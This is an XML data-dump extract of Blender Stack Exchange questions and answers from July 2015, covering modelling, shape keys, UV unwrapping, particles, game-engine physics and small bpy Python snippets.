  <row Id="34754" PostTypeId="2" ParentId="34753" CreationDate="2015-07-29T18:50:00.257" Score="3" Body="&lt;p&gt;This can easily be accomplished with a Copy Rotation constraint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create your first object, and Apply location and rotation. Then &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; to make a linked duplicate. Then, in Object mode, rotate your second object on the Z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, add a Copy Rotation constraint to the second object, targetting the first object. The trick is to map the World space of the first object to the Local space of the second object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Vd12i.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vd12i.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qnYQ5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qnYQ5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-29T18:50:00.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34755" PostTypeId="2" ParentId="34751" CreationDate="2015-07-29T18:55:49.637" Score="1" Body="&lt;p&gt;Blender imports svg files as curve objects. If you're trying to use the art from Illustrator as an image texture, you should export it from Illustrator in a raster format (PNG, JPG, etc).&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-29T18:55:49.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34756" PostTypeId="1" CreationDate="2015-07-29T19:17:18.200" Score="1" ViewCount="327" Body="&lt;p&gt;I can always put so much work into making a car but I always get stuck on making the roof go inwards and the hood. I can't find any tutorials that help me with this. To better explain say you are looking at the car from the front the car goes inwards at certain points I can't do that does anyone know a good tutorial or care to explain?&lt;/p&gt;&#xA;" OwnerUserId="15998" LastActivityDate="2015-07-30T03:48:11.687" Title="Having Troubles Modelling A Car" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-07-30T07:44:43.147" ContentLicense="CC BY-SA 3.0" />
  <row Id="34757" PostTypeId="1" AcceptedAnswerId="34767" CreationDate="2015-07-29T19:22:24.907" Score="2" ViewCount="1438" Body="&lt;p&gt;I want to generate a path/bezier curve such that it is tangent to a mesh's surface along the curve's length.&#xA;I intend to use array and curve modifiers to add geometry and cant seem to find an efficient way to get the curve to fit via ordinary means. (Using edit mode and manually fitting the curve)&lt;/p&gt;&#xA;" OwnerUserId="15020" LastActivityDate="2015-07-30T15:58:23.273" Title="How to create path/curve tangent to mesh?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34758" PostTypeId="1" CreationDate="2015-07-29T19:45:18.283" Score="10" ViewCount="9104" Body="&lt;p&gt;As the title says, is it possible to create duplicates of a mesh, that can be deformed and used as blendshape targets in blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hgjzQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hgjzQ.png&quot; alt=&quot;blendshape example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&lt;br&gt;&#xA;Here is a nifty little script to deform the base into the target shape...you can save it as a shape key then:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;target = bpy.context.selected_objects[0]&#xA;obj = bpy.context.active_object&#xA;&#xA;for i,vert in enumerate(obj.data.vertices):&#xA;    vert.co = target.data.vertices[i].co&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But still it would be nice to have them as a live modifier...&lt;/p&gt;&#xA;" OwnerUserId="7923" LastEditorUserId="241" LastEditDate="2017-03-06T21:55:22.227" LastActivityDate="2018-10-16T06:11:18.227" Title="Is it possible to create duplicates of a mesh, that can be deformed and used as blendshape targets?" Tags="&lt;shape-keys&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34759" PostTypeId="1" CreationDate="2015-07-29T19:45:48.340" Score="2" ViewCount="3714" Body="&lt;p&gt;I need to run some basic physics simulations on a headless machine and I'd like to program agent movements based on function outputs (e.g. &quot;move left&quot;)-I have some code that programs WASD to move a cube that I'd like to modify such that it doesn't actually require me to press any keys but rather, if the program receives &quot;Wkey&quot; as an input (from another function) it's able to move the agent in the desired direction. Is this possible? (I also want to try to avoid using the logic editor to run the script if possible, any help on that would also be appreciated)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current code below: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;&#xA;def main():&#xA;&#xA;    cont = bge.logic.getCurrentController()&#xA;    own = cont.owner&#xA;&#xA;    keyboard = bge.logic.keyboard&#xA;&#xA;    wKey = bge.logic.KX_INPUT_ACTIVE == keyboard.events[bge.events.WKEY]&#xA;    sKey = bge.logic.KX_INPUT_ACTIVE == keyboard.events[bge.events.SKEY]&#xA;    aKey = bge.logic.KX_INPUT_ACTIVE == keyboard.events[bge.events.AKEY]&#xA;    dKey = bge.logic.KX_INPUT_ACTIVE == keyboard.events[bge.events.DKEY]&#xA;&#xA;    if wKey: &#xA;        own.applyMovement([0,0.2,0],True)&#xA;&#xA;    if sKey: &#xA;        own.applyMovement([0,-0.2,0],True)&#xA;&#xA;    if aKey: &#xA;        own.applyMovement([-0.2,0,0],True)&#xA;&#xA;    if dKey: &#xA;        own.applyMovement([0.2,0,0],True)&#xA;&#xA;main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15734" LastActivityDate="2015-10-30T19:23:48.213" Title="Program keyboard input?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34760" PostTypeId="1" CreationDate="2015-07-29T19:57:28.370" Score="4" ViewCount="180" Body="&lt;p&gt;All I did was select bunch of vertices and move them. Then I was supposed to deselect a few of them, but Blender has switched to object mode and I can't activate edit mode anymore. It's not on the list that has the modes and pressing &lt;kbd&gt;Tab&lt;/kbd&gt; does nothing. Anyone know how to avoid this from happening?&lt;/p&gt;&#xA;" OwnerUserId="16007" LastEditorUserId="2217" LastEditDate="2015-07-29T20:07:01.187" LastActivityDate="2017-07-08T23:00:26.633" Title="Edit mode refuses to activate" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34761" PostTypeId="1" AcceptedAnswerId="34771" CreationDate="2015-07-29T20:04:30.823" Score="4" ViewCount="369" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hmPlA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hmPlA.png&quot; alt=&quot;here is the mess of the unwrapping :(&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help i have been at this for a couple of hours, and i have no idea how to fix this. &#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/383/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=383&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16006" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-29T23:35:06.037" Title="A mess happens when i try to unwrap my model, any idea whats causing this?" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34762" PostTypeId="1" CreationDate="2015-07-29T20:11:01.453" Score="1" ViewCount="83" Body="&lt;p&gt;How do I create a picking session in python?&lt;br&gt;&#xA;Say I have a script that does some operations, but its want the user to pick first a source object and then a target? How do I invoke the picking?&lt;br&gt;&#xA;My guess is bpy.ops.view3d.select(), but I get a context error all the time...&lt;br&gt;&#xA;What is the secret?&lt;/p&gt;&#xA;" OwnerUserId="7923" LastEditorUserId="5113" LastEditDate="2015-07-29T20:16:07.633" LastActivityDate="2015-07-30T01:35:01.870" Title="selecting in python: ask to pick an object?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;selection-tools&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-07-30T01:35:09.197" ContentLicense="CC BY-SA 3.0" />
  <row Id="34763" PostTypeId="1" AcceptedAnswerId="34775" CreationDate="2015-07-29T20:17:10.083" Score="1" ViewCount="1892" Body="&lt;p&gt;Suppose I'm trying to model a curved surface: the roof of a car is a perfect example. Many tutorials suggest creating a plane mesh, which I should subdivide via loop cuts, and then proceed to model the mesh in two dimensions (say from the top, so X and Y). After that, I switch to a front or side view and I move the outer vertices along Z. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here comes the tricky part: I end up with two &quot;edge curves&quot;, two outer profiles of my surface. Say we're looking at a side view, so the Y axis is along the horizontal axis of the screen. How can I move a &quot;row&quot; of vertices (vertices that share their X coordinate) or multiple rows so that they fit the smooth transition from the &quot;back&quot; profile to the &quot;front&quot; profile?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know in a sense this sounds like lofting - it probably does, but I'm not sure I get the concept fully. However, I'm looking for something that I can apply at will, not only when creating and developing a surface. In other words, if I move a vertex of one of the &quot;profiles&quot;, I want to be able to reposition the inner vertices smoothly based on the new position of the outer vertices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some screenshots to help you understand what I mean. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MtelR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MtelR.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a plane mesh, with subdivisions in (supposed) key points. I move the outer vertices to match the surface I'm modeling. This is still a flat surface, but you can already see what I mean: I want the inner vertices (those still lying on the square grid) to be moved so that the rows transition smoothly from the curve of the top row to the curve of the bottom row. The &quot;columns&quot; should do the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iTJPX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iTJPX.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this second screenshots, the outer vertices have also been moved along the Z axis. You can see what I mean by &quot;smoothing the surface&quot;: the inner vertices should follow a curve so that the surface is smooth. &lt;/p&gt;&#xA;" OwnerUserId="16005" LastEditorUserId="16005" LastEditDate="2015-07-30T10:19:34.207" LastActivityDate="2015-11-04T19:35:13.297" Title="Interpolate mesh surface between curves" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="34764" PostTypeId="2" ParentId="34758" CreationDate="2015-07-29T20:44:24.610" Score="10" Body="&lt;p&gt;I assume you're talking about the &lt;em&gt;blendshapes&lt;/em&gt; like these available in Maya (example tutorial: &lt;a href=&quot;https://www.youtube.com/watch?v=WtfYPxhLO30&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=WtfYPxhLO30&lt;/a&gt;). If so I'll show you how to do it in Blender on the same example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a mesh, duplicate it 3 times and make some deformations on the duplicates.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/u4SET.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u4SET.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all the deformed objects and then the base object. Then click on the &lt;em&gt;down arrow&lt;/em&gt; in a &lt;em&gt;Shapekeys panel&lt;/em&gt; and choose &lt;strong&gt;&lt;em&gt;Join as Shapes&lt;/em&gt;&lt;/strong&gt; option.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DmOzL.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DmOzL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have now all the deformed shapes applied to the base model.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/qIqHB.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qIqHB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-07-29T21:05:04.430" LastActivityDate="2015-07-29T21:05:04.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34765" PostTypeId="1" CreationDate="2015-07-29T21:16:21.290" Score="1" ViewCount="150" Body="&lt;p&gt;I have for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.utils.register_class(RENDER_OT_set_fps_increase)&#xA;&#xA;    kc = bpy.context.window_manager.keyconfigs.addon&#xA;    if kc:&#xA;        km = kc.keymaps.new(name=&quot;Timeline&quot;, space_type=&quot;TIMELINE&quot;)&#xA;        kmi = km.keymap_items.new('render.set_fps_increase', 'W', 'PRESS')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I want to register the same key for GRAPH_EDITOR and DOPESHEET_EDITOR.&#xA;But I couldn't find a way to do it. The only thing left to try was to create two extra classes, but I want to believe there is a simpler way to do this.&lt;/p&gt;&#xA;" OwnerUserId="15015" LastActivityDate="2015-07-29T21:16:21.290" Title="How can I register the same keymap item for different space types?" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34766" PostTypeId="1" AcceptedAnswerId="34770" CreationDate="2015-07-29T22:10:36.180" Score="3" ViewCount="1957" Body="&lt;p&gt;Not sure where I am going wrong. The render setting is turned on for the particle system, but it still doesn't work when I render the animation. I'm sure it's something straight forward, but I can't find out which setting isn't correct. Where would be the next place to look? It's just a simple piece of text with a particle system. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/yx4hiqssrlcrj9j/myFanArt.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/yx4hiqssrlcrj9j/myFanArt.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16004" LastActivityDate="2015-07-29T23:27:50.387" Title="Particle system doesn't render but shows in 3D view" Tags="&lt;particles&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34767" PostTypeId="2" ParentId="34757" CreationDate="2015-07-29T22:50:29.930" Score="5" Body="&lt;p&gt;The best way to do it is to position the curve approximately in position over the mesh, and then use the shrinkwrap modifier on the curve (I find near project mode to work the best). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only trick is that you will probably have to apply the shrinkwrap modifier once you have it positioned the way you want it, if you are using other modifiers that act on the curve object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the curve path at this point is not tangent to the mesh, tab into edit mode, select all control points, and then type &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt; to rotate the orientation of all the control points to be oriented at 90 degree to the mesh surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dvXrT.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dvXrT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="241" LastEditDate="2015-07-30T15:58:23.273" LastActivityDate="2015-07-30T15:58:23.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34768" PostTypeId="2" ParentId="34766" CreationDate="2015-07-29T23:06:35.220" Score="2" Body="&lt;p&gt;The particles Render Type is set to object, but there is no object assigned.&lt;/p&gt;&#xA;" OwnerUserId="15015" LastActivityDate="2015-07-29T23:06:35.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34769" PostTypeId="2" ParentId="1258" CreationDate="2015-07-29T23:07:26.213" Score="16" Body="&lt;p&gt;As of &lt;a href=&quot;https://developer.blender.org/rBf29625922f61c772e01a9bf2902a41bd4e4e264e&quot; rel=&quot;noreferrer&quot;&gt;this commit&lt;/a&gt; (will be in 2.76), there is now an option to set the coordinate extension mode similar to BI:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oTttm.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oTttm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-07-29T23:07:26.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34770" PostTypeId="2" ParentId="34766" CreationDate="2015-07-29T23:10:34.590" Score="3" Body="&lt;p&gt;Create an object with a material and shape you want for the particles and assign that to the particle's Dupli Object section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DKTVD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DKTVD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a green sphere on a different layer and selected it as the particle's shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/384/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=384&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-07-29T23:27:50.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34771" PostTypeId="2" ParentId="34761" CreationDate="2015-07-29T23:23:31.850" Score="6" Body="&lt;p&gt;the problem is your model. You have got a lot of strange faces in the inside of your sword, and on top of the sword some vertices that are not connected while they should be. So you have to delete all the inner faces and connect the vertices that should be connected. And then add the seams and UV-unwrap the model &#xA;In the blendfile I add, I corrected it all so you can see the difference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/385/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=385&quot; /&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-07-29T23:35:06.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34772" PostTypeId="1" AcceptedAnswerId="35042" CreationDate="2015-07-29T23:28:48.250" Score="2" ViewCount="1534" Body="&lt;p&gt;I know some ways to change how quickly an object can we affected [traslation] and such, but how can I change the overall weight so it gets affected differently by gravity?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-08-03T21:22:21.940" Title="How to change weight of an object in BGE?" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34773" PostTypeId="2" ParentId="34772" CreationDate="2015-07-29T23:31:24.163" Score="1" Body="&lt;p&gt;Change the &lt;em&gt;Mass&lt;/em&gt; in &lt;em&gt;Properties &gt; Physics&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3MOwQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3MOwQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-07-29T23:31:24.163" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34774" PostTypeId="1" CreationDate="2015-07-29T23:53:43.477" Score="1" ViewCount="355" Body="&lt;p&gt;After the script that was working as mentioned in &lt;a href=&quot;https://blender.stackexchange.com/questions/32878/blender-background-simulation-gui-less-is-different-from-the-actual-simulation&quot;&gt;my earlier post&lt;/a&gt;. I am trying to create a blend file that has the scene setup and a script that has the locations of the objects available in the blend scene. I am able to see the new positions created by the script to the objects in the blend scene. But I am not able to bake them all. I get the below error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RuntimeError: Operator bpy.ops.rigidbody.objects_add.poll() failed, context is incorrect&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is relevant to the lines&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.rigidbody.objects_add(type='ACTIVE')&#xA;bpy.ops.ptcache.bake_all(bake=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know if you have come across this kind of error. How do I make the context correct. When I try to the print the objects that are in the scene, I am able to see the objects in the blend file. What does the context here mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="15189" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-07-30T08:26:33.620" Title="Rigidbody.objects_add.poll() failed!" Tags="&lt;python&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34775" PostTypeId="2" ParentId="34763" CreationDate="2015-07-30T00:10:55.273" Score="1" Body="&lt;p&gt;If you are looking to move an edge, they refer to this as Edge Slide. Press the &lt;kbd&gt;G&lt;/kbd&gt; key twice while that edge loop is selected. Then you'll be able to slide it. Also, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; key will add a loop cut. You can use scroll wheel at that point to add multiple loops.&lt;/p&gt;&#xA;" OwnerUserId="16010" LastEditorUserId="241" LastEditDate="2015-07-30T15:54:29.827" LastActivityDate="2015-07-30T15:54:29.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34776" PostTypeId="2" ParentId="34727" CreationDate="2015-07-30T00:26:15.290" Score="-1" Body="&lt;p&gt;Cant say for certain if it applies in this situation, but I have seen a rigging video that showed needing a slight bend needed in your base pose. If its perfectly straight, it gets wonky. Give it a try.&lt;/p&gt;&#xA;" OwnerUserId="16010" LastActivityDate="2015-07-30T00:26:15.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34777" PostTypeId="2" ParentId="34756" CreationDate="2015-07-30T00:28:55.083" Score="2" Body="&lt;p&gt;subsurface modifier, in short. Dont think this can be answered with a quick answer though. You'll need to work your way through numerous modeling videos either on youtube or the many great training videos DVDs that exist for blender.&lt;/p&gt;&#xA;" OwnerUserId="16010" LastActivityDate="2015-07-30T00:28:55.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34778" PostTypeId="1" CreationDate="2015-07-30T01:57:15.013" Score="2" ViewCount="424" Body="&lt;p&gt;I cannot edit vertices, edges or faces because of the 3d cursor.&#xA;When in edit mode with the appropriate vertex, edge or face icon selected I try to click to select, say a vertex which I want to drag to resize and all I get is the 3D cursor which cancels the drag edit action.&lt;/p&gt;&#xA;" OwnerUserId="16011" LastEditorUserId="2217" LastEditDate="2015-07-30T02:31:36.110" LastActivityDate="2015-07-30T07:20:27.277" Title="Cannot edit vertices, edges or faces" Tags="&lt;transforms&gt;&lt;selection-tools&gt;&lt;3d-cursor&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2015-07-30T15:51:28.600" ContentLicense="CC BY-SA 3.0" />
  <row Id="34780" PostTypeId="1" AcceptedAnswerId="34788" CreationDate="2015-07-30T03:59:05.727" Score="11" ViewCount="1091" Body="&lt;p&gt;I want to have my beveled object to have fake-rounded edges:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Wg31S.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wg31S.png&quot; alt=&quot;What I want&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The vertex normals should be vertical with the main surfaces, so that the original surfaces are rendered plain, and the beveled edge is rendered fine round.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if set to smooth, the auto-generated normals are like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Rnlkl.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rnlkl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original large surface become not plain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, &lt;em&gt;auto smooth&lt;/em&gt; option also won't give me the expected result. I also tried &lt;em&gt;Normal Edit&lt;/em&gt; modifier, but seems it don't allow manual control on each individual vertices. So how can I get the effect I want?&lt;/p&gt;&#xA;" OwnerUserId="15992" LastActivityDate="2021-01-22T09:08:16.747" Title="How can I customize normal in this way?" Tags="&lt;normals&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34781" PostTypeId="1" AcceptedAnswerId="34803" CreationDate="2015-07-30T04:04:37.573" Score="12" ViewCount="52257" Body="&lt;p&gt;I'm trying to model an &lt;a href=&quot;https://en.wikipedia.org/wiki/M16_rifle&quot; rel=&quot;nofollow noreferrer&quot;&gt;M16&lt;/a&gt;, but it's not going so well when it comes to the magazine of the weapon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to the magazine is a mesh. I want to cut holes in the mag with that mesh. But the magazine just goes invisible or connects with the mesh when trying to execute the Boolean Modifier. I have tested to invert the normals and some other stuff, but it isn't working.&lt;/p&gt;&#xA;" OwnerUserId="15871" LastEditorUserId="1224" LastEditDate="2020-05-01T19:24:06.450" LastActivityDate="2021-02-25T12:17:03.497" Title="The Boolean modifier is not working" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="5" CommentCount="5" FavoriteCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="34783" PostTypeId="2" ParentId="34747" CreationDate="2015-07-30T06:18:48.440" Score="2" Body="&lt;p&gt;Yes, the default keys are &lt;kbd&gt;&amp;#8670; Page up&lt;/kbd&gt; and &lt;kbd&gt;&amp;#8671; Page down&lt;/kbd&gt;, the setting can be found in keyboard input under Animation Channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fOI6O.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The python path is &lt;code&gt;bpy.context.window_manager.keyconfigs.active.keymaps['Animation Channels'].keymap_items['anim.channels_move']&lt;/code&gt; with the property &lt;code&gt;type&lt;/code&gt; being the key used, &lt;code&gt;properties.direction&lt;/code&gt; is the direction the selected item is moved. You will want to loop through the &lt;code&gt;keymap_items&lt;/code&gt; as you will find four &lt;code&gt;keymap_items['anim.channels_move']&lt;/code&gt; entries, up one line, down one line, to the top and to the bottom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should look at &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/info_tutorial_addon.html?highlight=keymap&quot; rel=&quot;nofollow noreferrer&quot;&gt;adding keymaps to an addon&lt;/a&gt; to make the changes properly.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-07-30T06:18:48.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34784" PostTypeId="2" ParentId="34772" CreationDate="2015-07-30T06:50:46.557" Score="3" Body="&lt;p&gt;Heavier objects don't fall faster, so you shouldn't be changing the mass. instead decrease the damping factor ( which is like air resistance when falling ) and the object will go faster. also if there is a way to change the gravitational force effect on this object it would work if you increase it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AomQR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AomQR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-07-30T06:50:46.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
